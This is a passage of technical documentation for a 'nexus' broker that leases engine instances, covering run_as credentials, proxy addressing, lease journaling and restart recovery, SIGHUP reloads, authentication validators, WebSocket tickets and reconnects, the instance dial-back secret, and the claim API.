max_concurrentis one global cap across every variant; there is no per-entry limit or reservation. - No broker-side default configs. A claim still supplies the whole engine
config as YAML text. An entry contributes
argsandenv, never config content. - No per-entry environment pass-through.
inherit_envis broker-level: it answers “which of the things this broker was started with may leave the process”, which does not vary by variant. A value that is per-variant belongs in that entry’senv.
The registry is hot-reloadable — adding, changing or removing an entry takes
a SIGHUP, not a restart. See
Changing config without a restart.
Running instances as another user: run_as
By default a claimed instance runs as the broker’s own user, with the
broker’s HOME. Two claims are two processes, but they are not two principals:
either one can read the other’s session directory under ~/.nexus/sessions/,
and either can read <state_dir>/spawn-key — which is enough to derive any live
lease’s dial-back secret and impersonate its instance.
run_as drops each spawn to a uid and gid you choose. It is declared per
registry entry, with a broker-level default, because the separation that matters
is between variants:
# broker.yaml
run_as: # default for entries that declare none
uid: 1500
gid: 1500
binaries:
vision:
path: /opt/builds/nexus-vision
run_as: # replaces the default outright — never merged
uid: 1501
gid: 1501
support:
path: /opt/builds/nexus-support
run_as:
uid: 1502
gid: 1502
env:
HOME: /var/lib/nexus/support # keep this variant's state off a home dir
Both uid and gid are required whenever the block is written: a uid alone
leaves instances in the broker’s primary group, which looks like a boundary in
the config and is not one on disk. Ids are numeric, not names — a name resolves
against a passwd database a hardened container may not carry, and can mean
different users on two hosts. Every mistake is a boot failure naming the
entry and the value, like the rest of the registry.
HOME follows the credential. HOME is what resolves ~/.nexus, so an
instance running as another uid while still pointed at the broker’s home
cannot create its session directory and the claim fails at its first write. The
broker resolves the run_as user’s home from the passwd database at boot and
hands the spawn that HOME. Set env.HOME on the entry to put that variant’s
state somewhere else — a data dir under /var/lib, say — and that value wins.
Where a run_as instance’s sessions live. In <that HOME>/.nexus/sessions/.
So sessions are consistent per registry entry: two entries under different
credentials keep their sessions in different trees, and one entry’s instances all
share one. Resumes stay correct because a session already records the entry that
created it and a resume naming a different entry is refused with a 409 — see
A resume re-uses the binary that created the session
— so a session is never replayed under an entry whose HOME would not contain
it.
The broker must be privileged. Setting a child’s credentials — including the
setgroups(0, NULL)that drops the broker’s supplementary groups — requires root, orCAP_SETUIDandCAP_SETGIDon Linux, even when the uid you name is the broker’s own. A broker that configuresrun_aswithout it logs oneWARNat boot and fails every claim that selects such an entry at spawn — an immediate500 spawning instancewith the refused credential in the broker log, not a claim that hangs until the ready timeout.
The boot log names each entry’s credential and the home its sessions will live under, beside the path and spawn environment:
level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
resolved_path=/opt/builds/nexus-vision spawn_env=… run_as=1501:1501 run_as_home=/home/nexus-vision
What run_as does and does not buy
It buys one thing, and it is the thing the default lacks: instances run as a
different user from the broker and from each other’s variant, so the OS —
not the broker’s own bookkeeping — is what stops one from reading another’s
sessions or the broker’s spawn-key.
It does not:
- sandbox the filesystem, restrict the network, or cap CPU and memory. A claim still supplies the whole engine config, and the shell and file tools still run with everything that uid can reach;
- separate two instances of the same entry from each other — they share a credential and a session tree;
- protect an instance from the caller who claimed it. That caller chose its config and drives its tools.
Grant each run_as user only what its instances need, and keep the broker’s
state_dir unreadable to them (it is 0700, owned by the broker’s user).
Behind a proxy: set advertise_addr
A lease is in-memory state on one broker process, so the ws_url a claim
returns has to name that process. With a wildcard bind and no advertise_addr,
the broker can only guess — it derives the host from the claim request’s Host
header.
That is the failure this key prevents. Behind a reverse proxy or load
balancer the Host header names the intermediary, so the returned ws_url
points at the load balancer rather than at the broker holding the lease. The
client then reconnects through the LB, lands on whichever broker it picks, and is
told 404 unknown lease — by a broker that is working perfectly and simply does
not have that lease. Set advertise_addr to the address clients actually use to
reach this broker:
listen_addr: ":8080" # bind wide
advertise_addr: "wss://broker-1.example.com" # tell clients where THIS broker is
A bare host:port keeps the ws:// scheme; the scheme-qualified form is for a
TLS-terminating proxy. Malformed values (no port, a wildcard host, a path) fail
startup, and the wildcard-bind-without-advertise_addr shape logs a WARN at
boot. A directly-reachable broker can leave the key empty. Full precedence table:
ws_url resolution.
A wss:// or https:// advertise_addr also logs a WARN at boot — the
broker has no TLS listener and always serves cleartext, so it is announcing a
scheme it does not itself terminate. Behind a TLS-terminating proxy that warning
is expected and correct: the proxy serves wss:// to clients and forwards
cleartext to the broker, which is exactly the deployment above. The broker cannot
see whether such a proxy is in front of it, which is why this is a warning and
never a boot refusal — refusing would break the supported configuration. Treat it
as a misconfiguration only if nothing terminates TLS ahead of the broker, in which
case clients dialing wss:// will fail to connect. To silence it on a
directly-reachable broker, advertise the scheme it actually serves (ws://, or a
bare host:port).
Surviving a restart: set state_dir
Lease state — which instances this broker spawned, who claimed them, and what
session each is running — lives in memory by default, so a restart loses it and
the spawned nexus processes become orphans nobody can account for. Point
state_dir at a directory and the broker journals every lease transition to
<state_dir>/leases.jsonl, and reclaims its running instances when it comes
back:
state_dir: "~/.nexus/broker" # per-broker; never share one dir between brokers
broker_id: "" # optional name; generated and persisted when empty
reattach_window: 60s # bound on how long a restored lease waits for its instance
A record is appended when a lease is minted, when its pid and session id first
become known, and when it is torn down — including on idle sweep and crash,
not just a manual POST /release. Records carry the lease id, the claiming
principal, the session id, the binaries entry name the instance was spawned
from, the pid, and this broker’s broker_id / advertise_addr. No secret is
ever written: not the per-spawn secret, not a WebSocket ticket, not a bearer
token.
The durable session → binary mapping lives in its own file beside the
journal, <state_dir>/session-binaries.jsonl, and not in the journal itself. The
journal is compacted down to live leases, and a resume always arrives after the
original lease was released, so a binding kept only there would be gone exactly
when it is wanted. A line is written at claim time for a resume and on the
session-id report for a new session; the file is capped at 4096 bindings, oldest
dropped first, and rewritten on open and every 256 appends.
It is best-effort by design: an unknown session means no opinion, proceed, never
a mismatch. A session that predates the file, one whose binding was pruned, and a
broker with no state_dir all resume exactly as they did before it existed. A
corrupt or torn index is skipped line by line and never prevents the broker from
booting — an index that cannot be opened at all only logs a WARN and turns the
mapping off. See
Session → binary index.
The durable A2A context → session mapping lives in a third file,
<state_dir>/a2a-contexts.jsonl, written only when the broker has an
agents: block. It is what lets a message on a
contextId whose instance has stopped resume the conversation after a restart
rather than starting a new one, and it follows the session → binary index in
every respect: separate from the journal for the same reason, capped at 4096
bindings with the oldest dropped first, rewritten on open and every 256 appends,
tolerant of a torn trailing record, and never a boot failure — an index that
cannot be opened logs a WARN and continuity falls back to the life of the
process. See
Conversation lifecycle.
The journal is compacted on open and every 512 appends, so it holds roughly the
live lease set rather than the whole history. A write that fails is logged and
never fails the claim or release that produced it, and a record torn by a kill -9 is skipped with a warning instead of failing the file.
The journal survives host death, not just process death. Every append is
fsynced before it returns, and compaction’s rewrite fsyncs the temp file before
the rename and the directory after it, so a power loss or a hard reset cannot
lose the tail of the journal or swap a full live set for an empty one. This
matters because the tail is where the record carrying an instance’s pid
lives: lose it and the next boot sees a lease with no pid, closes it out, and the
still-running instance becomes exactly the orphan the journal exists to prevent.
The cost is negligible and was measured against the record volume, not guessed at:
a lease writes roughly three journal records over its whole lifetime — minted,
pid-and-session recorded, released — so a busy broker is paying single-digit
fsyncs per lease, not per message or per turn. The barrier is unconditional
rather than applied only to the pid-bearing record: the saving would be about two
fsyncs per lease, and “which record matters” is a rule a later change can quietly
break. An fsync that fails follows the same policy as a write that fails — it
is logged, and it never fails the claim or the release that produced it.
The two auxiliary indexes are deliberately not fsynced. session-binaries.jsonl
and a2a-contexts.jsonl are best-effort by design: an unknown session or context
means no opinion, proceed, so losing their tail to a host crash degrades to the
behaviour those files were introduced to improve on, never to a wrong answer. The
lease journal is the only one of the three whose worst case — an unaccounted-for
running process — cannot be repaired after the fact, so it is the only one that
pays for a barrier.
Leave state_dir empty and the broker behaves exactly as it always has,
logging one WARN at startup to say lease state is in-memory only. This is
about lease bookkeeping, not sessions: an instance’s session under
~/.nexus/sessions/<id>/ is persisted and -recall-able either way.
What a restart actually does
Instances survive the broker’s own exit because each one leads its own process
group: a Ctrl-C in the broker’s terminal signals the broker’s group, not the
instances’, so the processes recovery expects to adopt are still there when it
comes back. (That process group is also what makes a release take the
instance’s subprocesses with it — see
POST /release/{lease_id}.)
At boot — before any route is served — the broker replays the journal and, for each lease that was live when it stopped:
- The pid is still alive → the lease is restored, with its original owner,
session id and creation time, and it re-takes its capacity slot so
max_concurrentstays honest. - The pid is gone, or the lease never got a process → the record is closed out and forgotten.
- The record belongs to another
broker_id→ it is left completely alone. Nothing is adopted and nothing is killed.
A restored lease shows as spawning in GET /leases and is not yet usable.
Meanwhile the surviving instance’s nexus.io.broker transport is already
reconnecting with exponential backoff, so it re-dials /instance on its own — no
instance-side configuration and no client action are involved. When it does, and
it presents the right lease id and the right spawn secret, the lease goes
active and existing clients can reconnect to the same ws_url and carry on.
A live pid is not proof of identity, which is why a restored lease is not handed to whoever dials in naming it: the recorded pid may have been recycled to an unrelated process while the broker was down, and the portable liveness probe cannot tell. The spawn secret is what settles it — and it is required on every registration, restored or not, authenticated broker or not.
The secret survives the restart without ever being written down: it is derived
as HMAC-SHA256(<state_dir>/spawn-key, lease_id) rather than randomly minted, so
the restarted broker recomputes exactly what the running instance is still
holding. spawn-key is 32 random bytes, mode 0600, created on first boot. It is
a key, not a credential — presenting it to /instance authenticates nothing —
and losing or rotating it is safe: derived secrets simply stop matching, and the
affected leases are reaped rather than reattached.
Nothing waits forever. A restored lease that no instance reconnects to within
reattach_window (default 60s) is reaped through the ordinary release path: the
process group is signalled (SIGTERM, escalating to SIGKILL), so the instance
and everything it started go together, the slot is freed, and the record is
closed out. Setting reattach_window to 0 does not disable
this — it falls back to the default, because an unbounded wait is the orphan the
feature exists to remove.
For the per-record detail, the exact reasons written to the journal, and the full trade-off discussion around the derivation key, see Restart recovery.
Health check
curl -s http://localhost:8080/healthz
# {"status":"ok"}
Changing config without a restart: SIGHUP
A restart is the single event that costs every lease whose instance fails to
reattach within reattach_window. So the two things an operator most often needs
to change — the binaries: registry and the agents: profiles — do not need
one. Send the running broker a SIGHUP and it re-reads its config file:
# add a variant to broker.yaml, then:
kill -HUP "$(pgrep -f nexus-broker)"
level=INFO msg="SIGHUP received, reloading config" path=broker.yaml
level=INFO msg="config reload applied" path=broker.yaml changed=binaries binaries=3 agents=1 ...
The reload is validate-then-swap, and it is atomic. The file goes through
exactly the loader the boot path uses, so anything that would have failed startup
fails the reload — a binary that is missing or not executable, a profile whose
config file does not resolve, an Agent Card missing a required field. Every Agent
Card is re-rendered before anything is published, and then the whole
configuration — the binary registry, the GET /binaries listing and every card —
is swapped in one step. A reload that fails at any point leaves the previous
configuration entirely in force and says why:
level=ERROR msg="config reload rejected; the configuration already in force is unchanged" path=broker.yaml error="broker config: binaries: vision: path ... is not executable"
There is no half-applied state, and no request can ever see one profile’s identity under another’s name.
SIGHUP is the only trigger. There is no POST /reload: admin_scope is a
visibility-only capability, and a mutating admin route would be the first
exception to that rule.
What a reload does not touch
Live leases. A reload changes what the next claim can spawn. It never
signals, kills or re-binds a running instance — including one whose binaries:
entry was just removed. The lease records the entry name, the process is
already running, and a later resume against a name this broker no longer offers
is refused by the existing 409.
Boot-only keys. listen_addr, advertise_addr, state_dir, broker_id,
reattach_window, client_replay_buffer_bytes, the queue and per-principal
admission caps, a2a.tasks: and the whole auth: block are read at boot and only
at boot. A reloaded file that changes one of them is reported and ignored:
level=WARN msg="config reload: these keys changed in the file but are only read at boot, so the values in force are unchanged; restart the broker to apply them" keys=listen_addr,auth
The reloadable keys in the same file still apply — a boot-only change is not a reason to refuse everything around it.
auth: is the one worth understanding rather than just obeying. The jwks
validator holds a live kid cache with rate-limited fetches, and two of this
broker’s documented guarantees rest on that cache surviving: key rotation needs
no restart, and an unreachable issuer never turns into an allow. Rebuilding
the validator chain would discard it, so a reload performed during an IdP outage
would turn a working broker into one that denies every JWT — an outage caused by
the very mechanism meant to avoid one. Credential changes are a restart.
Turning the A2A ingress on. A broker that booted with no agents: block
registered no A2A routes at all, and opened neither the context index nor the
durable task store. A reload therefore cannot switch the ingress on; that change
is reported and ignored like any other boot-only one. Adding, changing and
removing profiles on a broker that already serves at least one all work, and
removing the last profile is allowed — the routes then answer
404 unknown agent profile.
Capacity, in one direction. Raising max_concurrent immediately admits
claims already parked in the capacity queue. Lowering it never evicts anything: a
lease is a running process, and a config edit must not destroy live work. The
broker sits over its cap and admits nothing new until it drains back under, which
is the same policy restart recovery already applies.
The per-key table is in
Reloadable keys (SIGHUP).
Authentication
An absent auth: block means authentication is disabled, and every route
behaves exactly as it did before authentication existed. That is the default for
an upgrading deployment, and the broker says so once at boot:
WARN client authentication is DISABLED: broker config has no auth block, so any
caller that can reach this broker can claim, release and list leases
Opting in means adding an auth: block to broker.yaml. A malformed block
is a boot failure naming the offending key — it never falls back to disabled, and
unknown keys are rejected at every level.
“Disabled” is about clients. The instance dial-back on WS /instance is a
separate mechanism that this block does not govern in either direction: it always
requires the per-spawn secret.
What the block protects
| Route | With auth: configured |
|---|---|
POST /claim, POST /release/{lease_id}, POST /ticket/{lease_id}, GET /leases, GET /binaries | Middleware validates the credential before the handler runs. A refused claim spawns nothing. |
GET /metrics | The same middleware, plus auth.admin_scope on top of it. A valid credential without that scope gets 403. See GET /metrics. |
WS /lease/{lease_id} | The same validator chain, resolved by the handler itself so it can also accept a single-use ?ticket= (see the ticket flow). |
WS /instance (the dial-back) | Not covered by this block at all. It is not a client route: a spawned instance proves itself with its per-spawn secret, which is required whether or not auth: is configured. |
GET /healthz | Never authenticated. A load balancer or container probe has no credential to present, and liveness leaks nothing. |
The four validators
The auth.validators list is ordered, and the first validator that accepts
wins — so put the cheap ones first.
type | Verifies | Key settings |
|---|---|---|
static | A table of shared bearer tokens, compared in constant time | tokens[], each with token + principal |
jwks | An OIDC JWT, against the signing keys the issuer publishes | issuer, jwks_url, audience, principal_claim |
introspect | An opaque token, by asking the issuer (RFC 7662) | introspection_url, client_id, a client secret, principal_claim |
proxy_headers | An identity a fronting authenticating proxy already established | trusted_proxy_cidrs, principal_header |
A worked example: a shared token for CI, and OIDC access tokens for everyone else. It is deliberately vendor-neutral — the broker is generic OIDC with no provider-specific defaults, so every value below comes from your own issuer.
# broker.yaml
listen_addr: ":8080"
advertise_addr: "wss://broker-1.example.com"
auth:
admin_scope: "nexus.broker.admin" # scope that unlocks the operator view of GET /leases
validators:
# Tried first: no network round trip.
- type: static
tokens:
- token: "replace-me"
principal: "ci-runner"
tenant: "acme"
scopes: "nexus.broker.admin" # whitespace-separated, or a YAML list
# Everyone else presents an OIDC access token.
- type: jwks
issuer: "https://id.example.com/" # exact `iss` value
jwks_url: "https://id.example.com/.well-known/jwks.json" # explicit; no discovery
audience: "nexus-broker" # or a list
algorithms: ["RS256"]
principal_claim: sub # required
tenant_claim: org_id
scopes_claim: scope
Four things worth knowing before you deploy that:
principal_claimis required and has no default guess. Lease ownership is principal-IDequality, so silently defaulting tosubfor an issuer that mints a different stable identifier would bind ownership to the wrong field. A token whose mapped claim is absent, empty, or not a scalar is rejected.- There is no OIDC discovery, on purpose —
jwks_urlis configured explicitly. For an issuer that documents only its discovery URL, read the value out once by hand:curl -s https://id.example.com/.well-known/openid-configuration | jq -r .jwks_uri - Key rotation needs no restart, and an unreachable issuer never turns into an
allow: a
kidalready in the cache keeps verifying, akidthat is not cached is denied. - Secrets follow one convention:
<key>holds the literal value,<key>_envholds the name of an environment variable to read it from — soclient_secret_env: "NEXUS_BROKER_INTROSPECTION_SECRET"keeps theintrospectclient secret out of the file. Setting both is a boot error, not a precedence rule. Abroker.yamlcarryingstatictokens or an inlineclient_secretis itself a secret: restrict its permissions.
An introspect validator that cannot reach its endpoint answers 503 with a
Retry-After header, not 401. “We could not find out” is not a statement
about your token, and telling every client at once to re-authenticate against an
identity provider that is already failing would make an outage worse. It is still
a refusal: no lease is claimed and nothing is released.
Every key, default and validation rule is in the authoritative Authentication reference.
proxy_headers needs a CIDR allowlist
type: proxy_headers makes the broker’s original deployment story — “put your own
authenticating proxy in front of it” — first-class: the proxy authenticates the
user and passes the identity down in a header.
⚠️ A wrong
trusted_proxy_cidrsturns this validator into an open door. A header is not a credential. Anyone who can open a TCP connection tolisten_addrcan sendX-Forwarded-User: <anybody>— no signature, no expiry, nothing to verify. The CIDR allowlist is the entire security model.
- Never write
0.0.0.0/0or::/0. That is not “allow the ingress”, it is “let every caller on the network name themselves”.- List the proxy’s own address, not the client’s — the allowlist is matched against the peer that opened the connection, and
X-Forwarded-Foris never read.- Do not point it at a network you share with anything else. A
10.0.0.0/8that also holds other workloads means any of them can impersonate any broker user. Prefer the proxy’s/32(or/128).- Bind the broker where only the proxy can reach it, so the CIDR check is a second line of defence rather than the only one.
- If some callers arrive directly, chain a token validator after this one — do not widen the CIDR to accommodate them.
auth:
validators:
- type: proxy_headers
trusted_proxy_cidrs: ["10.4.0.0/16"] # required; an empty list fails the boot
principal_header: X-Forwarded-User # required; no default is right for everyone
tenant_header: X-Auth-Request-Org
scopes_header: X-Forwarded-Groups
- type: jwks # direct callers still need a real token
issuer: "https://id.example.com/"
jwks_url: "https://id.example.com/.well-known/jwks.json"
audience: "nexus-broker"
principal_claim: sub
Who may touch a lease
Every lease records the principal that claimed it. Authorization is that ownership, plus one read-only admin scope — there are no roles and no policy engine.
POST /release/{lease_id},WS /lease/{lease_id}andPOST /ticket/{lease_id}require the caller’s principalIDto equal the owner’s. It is checked before anything happens: a refused release sends no shutdown frame and frees no slot, and a refused connect never reaches101.- A lease that is not yours answers exactly like a lease that never existed —
404 {"error":"unknown lease"}, byte for byte — so live lease ids cannot be enumerated by differencing responses. GET /leasesis filtered, not refused. A non-operator sees only its own leases, and the capacity aggregates are omitted rather than zeroed (treat a missingmax_concurrentas “not disclosed”, never as0).auth.admin_scope(defaultnexus.broker.admin) unlocks the whole-registry view ofGET /leases. It grants visibility only — there is no admin bypass on release or connect, so a leaked operator credential cannot tear down or hijack another principal’s session. Set it to""to mean nobody is an operator.- The broker’s own teardown paths — the
idle_timeoutsweeper and crash detection — act with no principal at all and bypass ownership entirely.
With no auth: block, the caller and every lease owner are the same anonymous
identity, so nothing is refused and nothing is filtered.
Connecting: the ticket flow
Browser JavaScript cannot set headers on a WebSocket handshake, so the bearer
token a claim was made with can never reach WS /lease/{lease_id} from a browser.
A ticket is the one credential the broker itself mints. End to end:
- Claim with your credential.
POST /claimreturnsws_urlandticket— theticketkey is present only when the broker is configured with anauth:block. - Connect with it:
ws_url + "?ticket=" + ticket. - It is single-use and lives 30 seconds, and the TTL is a constant rather than a config key: the value travels in a URL, so it lands in proxy access logs and browser history, and the tight window plus single use are the whole mitigation for that.
- Reconnecting needs a fresh one.
POST /ticket/{lease_id}, authenticated with the credential the lease was claimed with, mints a replacement. Do not re-claim: that spawns a new instance and abandons the live session. Send the fresh ticket together with?from_seq=so the broker also replays what the socket missed — the full recipe is below. - Non-browser clients can skip tickets entirely and send
Authorization: Bearer <token>on the handshake instead — the same token the lease was claimed with.
Reconnecting and resuming a stream
A dropped socket is not a lost session: the lease, the instance and the replay buffer all survive it. The whole reconnect, end to end:
- Remember the last
seqyou received. Every client-bound frame carries one. Keep the highest. - Do not re-claim.
POST /claimspawns a new instance and abandons the live session. The lease id you already hold is still the right one. - Mint a fresh ticket with
POST /ticket/{lease_id}, authenticated with the credential the lease was claimed with — the original ticket burned on the first connect and lives only 30 seconds anyway. A client that can set headers can skip this and sendAuthorization: Bearer <token>instead. - Reconnect with both parameters:
ws_url + "?ticket=" + encodeURIComponent(ticket) + "&from_seq=" + lastSeq. They compose freely and in any order;?from_seq=is not a credential and changes nothing about how the ticket is judged. - Handle the two possible openings. Either the buffer covered you — the
frames you missed arrive first, in order, followed by the live stream — or it
did not, and the socket opens with a
stream-gapframe naming what is gone. A gap is a normal outcome, not an error: it is what a long disconnection or a chatty agent produces against a bounded buffer, and a client that does not handle it is a client that will render a hole as if it were continuous prose. See when the buffer cannot cover you. - Do not wait for the old socket to die first. A reconnect displaces
whatever connection the lease still has — including a half-open one the broker
has not noticed yet — and closes it with code
4501. That is the supported path, not a race you have to avoid; what you must not do is keep both sockets open. See one client per lease.
// lastSeq is tracked by the message handler: ws.onmessage = e => {
// const f = JSON.parse(e.data); if (f.seq) lastSeq = f.seq; ... }
const { ticket } = await (await fetch(
`http://localhost:8080/ticket/${lease_id}`, { method: "POST", headers: auth })).json();
const params = new URLSearchParams({ from_seq: String(lastSeq) });
if (ticket) params.set("ticket", ticket); // absent when the broker has no auth: block
const ws = new WebSocket(`${ws_url}?${params}`);
Omitting ?from_seq= connects to the live stream only, exactly as a first
connect does — and so does a value the broker cannot parse. A malformed
from_seq is treated as absent rather than refused, so a bug in building
the URL costs you the replay and not the session.
A non-empty ?ticket= wins exclusively: when both are presented the
Authorization header is not consulted at all, and a ticket failure is final
rather than falling back to the header. Send one credential, or mint a fresh
ticket. Every way a ticket can fail — unknown, expired, already redeemed, minted
for another lease — answers identically with 401 {"error":"credential rejected"}.
Tickets are in-memory only, so they do not survive a broker restart, and every ticket for a lease is destroyed the moment the lease goes away.
The instance dial-back secret
The dial-back is not covered by the auth: block, and never was in the sense
that matters: auth: says how clients are verified, while WS /instance is
where a process the broker started proves it is that process.
An instance’s register frame must carry a known lease_id and the
per-spawn secret the broker injected into its environment at exec. This is
unconditional — with an auth: block or without one, on a freshly claimed
lease or one restored after a restart. The
secret is never logged, never returned by GET /leases, and never passed in
argv. The instance side needs no configuration — the
nexus.io.broker plugin reads
NEXUS_BROKER_SPAWN_SECRET from the environment the broker set.
Why it cannot be optional. The only other thing the dial-back could
authenticate with is the lease id, and a lease id is not a secret: it travels in
the ws_url handed to every client, in client requests, and in logs. Anything
that observed one could dial /instance, register as that lease’s instance the
moment the real socket dropped, and be handed the client’s session. Making the
check conditional on an unrelated block meant the documented default deployment
ran with that hole open.
Breaking change. Enforcement used to be gated on having an
auth:block, so a broker without one admitted any register frame naming a live lease — including one carrying no secret at all. It no longer does. Anexusbuild that predates the spawn-secret protocol now fails to register on every broker, and removing theauth:block is no longer a way to make it work. The fix is to upgrade the binary the registry entry points at. The check is per spawn, so one stale variant fails while the rest of the registry keeps working. See Upgrading an existing broker for the edit.
Every refusal looks the same on the wire. An unknown lease, an absent secret,
a wrong secret and a version-skewed frame all close with the same
unknown lease policy-violation close. That is deliberate: a dialer that could
tell “no such lease” from “that lease exists and you got its secret wrong” could
enumerate live lease ids by differencing the two. The log is the only place the
causes are distinguished, and each one names its own fix:
| Log record | What happened | Fix |
|---|---|---|
…: its register frame declares a broker frame schema version this broker does not speak | The instance binary and the broker binary are different builds of the frame protocol. | Upgrade whichever is older so both speak the same version. |
…: its register frame carried NO spawn secret | The instance binary predates the spawn-secret protocol. | Upgrade the binary that registry entry points at. |
…: its register frame carried the WRONG spawn secret | This broker did not spawn the process that dialed back. | Investigate: something is impersonating an instance, or a stale instance is dialing a broker that was restarted without its state_dir. |
rejecting instance registration (no specific cause) | The lease id is unknown, or the lease already has an instance attached. | Usually a late reconnect from a released lease; harmless. |
All four are WARN, and none of them ever contains a secret value. The
diagnostics matter because the symptom is identical and misleading: the claim
sits there until it fails with 504 instance did not become ready in time while
the child process is alive and connecting fine.
A 504 with none of those records is the other shape of the same symptom:
the instance is simply still booting. Engine construction runs every plugin’s
Init and Ready, so a config that pulls a long model list, warms a vector
store or dials several MCP servers can legitimately outlast the 30s default.
Raise ready_timeout
rather than trimming the profile; it must be positive, and a non-positive or
unparseable value fails the boot naming the key.
HTTP API
All control-plane calls are plain HTTP/JSON. Whether they need a credential
depends on the auth: block: with one configured, every route
below requires one (GET /healthz does not); with it absent, none of them do.
GET /metrics is the one route that asks for more than a valid credential — it
also requires auth.admin_scope.
POST /claim — claim an instance
Body:
{
"config": "engine:\n name: example\n", // required: full nexus config (YAML text)
"session_id": "prior-session-id", // optional: resume a persisted session
"binary": "vision" // optional: which `binaries:` entry to spawn
}
Success (200):
{
"lease_id": "…", // handle for this instance
"ws_url": "ws://host:port/lease/<lease>", // client WebSocket endpoint
"session_id": "…", // engine session id (see new-vs-resume below)
"ticket": "…" // single-use, 30s WebSocket credential;
// present only when `auth:` is configured
}
curl -s -X POST http://localhost:8080/claim \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <token>' \
-d '{"config":"engine:\n name: example\n"}'
The Authorization header is required when the broker is configured with an
auth: block and ignored when it is not. The principal it
resolves to becomes the lease’s owner, and only that principal can release,
connect to, or mint a ticket for the lease.
Error responses:
| Condition | Status | Body |
|---|---|---|
Missing/empty config | 400 | {"error":"claim requires a non-empty config"} |
Unknown binary name | 400 | {"error":"unknown binary \"…\"; this broker spawns: …"} |
Resume whose binary differs from the one recorded for the session | 409 | {"error":"session \"…\" was created by binary \"…\" but this claim requests \"…\"; …"} |
Resume whose recorded binary is no longer in binaries: | 409 | {"error":"session \"…\" was created by binary \"…\", which this broker no longer offers; …"} |
| Over capacity, queue wait elapsed | 503 | {"error":"capacity wait timed out"} |
At capacity, queueing disabled (queue_wait_timeout <= 0) | 503 | {"error":"no capacity"} |
At capacity and the wait queue is already max_queue_depth deep | 503 | {"error":"capacity queue full"} |
This principal already holds max_leases_per_principal live leases | 429 | {"error":"lease limit reached for this principal"} |
This principal already has max_queued_per_principal claims queued | 429 | {"error":"queued claim limit reached for this principal"} |
| Instance exited before ready (e.g. resume of a missing/invalid session) | 502 | {"error":"instance exited before signalling ready"} |
| Instance did not become ready within the boot window | 504 | {"error":"instance did not become ready in time"} |
Choosing a binary
binary names an entry of the broker’s
binary registry:
# spawn the "vision" variant
curl -s -X POST http://localhost:8080/claim \
-H 'Content-Type: application/json' \
-d '{"config":"engine:\n name: example\n","binary":"vision"}'
# omit `binary` and the claim spawns the reserved `nexus` entry
curl -s -X POST http://localhost:8080/claim \
-H 'Content-Type: application/json' \
-d '{"config":"engine:\n name: example\n"}'
Omitting binary means nexus, the entry every broker is guaranteed to
have, so a client written before the registry existed keeps getting exactly what
it got before. The field is trimmed of surrounding whitespace, the same way entry
names are trimmed at load, so the two always agree. On a resume this changes:
omitting binary alongside a session_id means the entry that created the
session, not nexus — see
A resume re-uses the binary that created the session.
An unknown name returns 400 naming the rejected value and listing the entries
this broker actually has — never a silent fallback to nexus. The check runs
before the claim allocates anything, so a typo consumes no lease, no capacity
slot, no temp config file, and spawns no process. To pick a name that is
certainly valid on this broker, read
GET /binaries first.
The entry’s args are appended after the broker’s own -config / -recall
arguments, and its env is layered under the broker-owned NEXUS_BROKER_*
variables — an entry can extend a spawn but never redirect it at another broker
or supply its own spawn secret. The spawned instance carries only the
always-pass set, whatever inherit_env declares, the entry’s env and the
NEXUS_BROKER_* trio — see
What environment an instance is given.
New vs. resume
- New session — omit
session_id. The engine generates a fresh session id and the instance reports it back; the broker returns it in the response. Capture that id if you want to resume the session later. - Resume — set
session_idto a previously returned id. The broker spawns the instance with-recall <id>, so the engine reloads that session from~/.nexus/sessions/<id>/and replays its history. The response echoes the requested id.
Resuming a session id that does not exist on disk makes the engine fail to boot;
the instance never signals ready and the claim returns 502 rather than
silently starting a new session.
A resume re-uses the binary that created the session
A session directory is engine state written by one particular build, and
replaying it under a different variant does not fail loudly: the engine boots,
the transcript loads, and the session simply behaves as though capabilities it
once had have vanished. The claim is the last point at which that mistake is
still attributable, so the broker records which
binaries: entry ran each
session — the entry name, never a path — and reconciles a resume against it.
Recording happens only when state_dir is
configured, in two places:
- the lease journal stamps the entry name on the lease record, so
leases.jsonlsays which variant a live lease is running; - the session → binary index,
session-binaries.jsonl, keeps the pairing after the lease is gone. This is the one a resume actually consults, because a resume always arrives after the original lease was released and the journal is compacted down to live leases. The broker checks live leases first and falls back to the index.
On a claim that carries a session_id:
| You send | Recorded binding | What happens |
|---|---|---|
no binary | vision | Spawns vision — the recorded entry is inherited with its path, its args and its env. Not the reserved nexus. |
"binary": "vision" | vision | Proceeds normally. |
"binary": "nexus" | vision | 409, naming both the recorded entry and the one you asked for. |
| anything | none recorded | Falls through — spawns what you asked for, or nexus if you asked for nothing. No error. |
no binary | nocturne, no longer in binaries: | 409 naming the missing entry, so it can be restored. Deliberately not a silent fallback to nexus. |
A binary that is empty or only whitespace counts as omitted. An unknown
name is still a 400, not a 409, even on a bound session — a typo is reported
as a typo, and only the 400 lists the entries this broker actually has. Every
rejection happens before anything is allocated: no lease, no capacity slot, no
place in the queue, no temp config file, and no process.
The exact error strings and the reasoning behind 409 over 400/500 are in
Resume inherits the recorded binary.
The 409 is best-effort, not an invariant
Do not build a client that relies on the mismatch check catching every mistake. An unrecorded session is no opinion, proceed — never a mismatch — so a resume runs completely unchecked whenever the binding is missing. Concretely, nothing is checked when:
- the broker has no
state_dir. Nothing is recorded durably, so once the original lease is gone so is the pairing — which is every resume, since a resume by definition follows a release. - the binding was evicted. The index holds at most 4096 pairings and drops the oldest first, so a session resumed after a lot of other traffic can find its binding gone.
- the session predates the feature, or was created against a different broker — no broker reads another’s index.
In all three the claim proceeds silently under whatever binary it asked for. The check is a safety net over the common mistake, not a guarantee about what a session directory is replayed under.
The recommended client pattern is therefore: capture session_id and the
binary you claimed with, and send both back on resume. That way the correct
variant is selected by your own request rather than by a broker-side record that
may not exist:
# 1. claim, remembering BOTH values
claim=$(curl -s -X POST http://localhost:8080/claim \
-H 'Content-Type: application/json' \
-d '{"config":"engine:\n name: example\n","binary":"vision"}')
session_id=$(printf '%s' "$claim" | jq -r .session_id)
binary=vision # persist this next to the session id
# 2. resume, restating the binary you recorded
curl -s -X POST http://localhost:8080/claim \
-H 'Content-Type: application/json' \
-d "{\"config\":\"engine:\n name: example\n\",\"session_id\":\"$session_id\",\"binary\":\"$binary\"}"
Restating a matching binary costs nothing when the broker also has the binding
(the claim simply proceeds), and it is the only thing that keeps the resume
correct when the broker does not.
POST /release/{lease_id} — release an instance
Gracefully tears a live instance down: the broker sends a shutdown frame, the
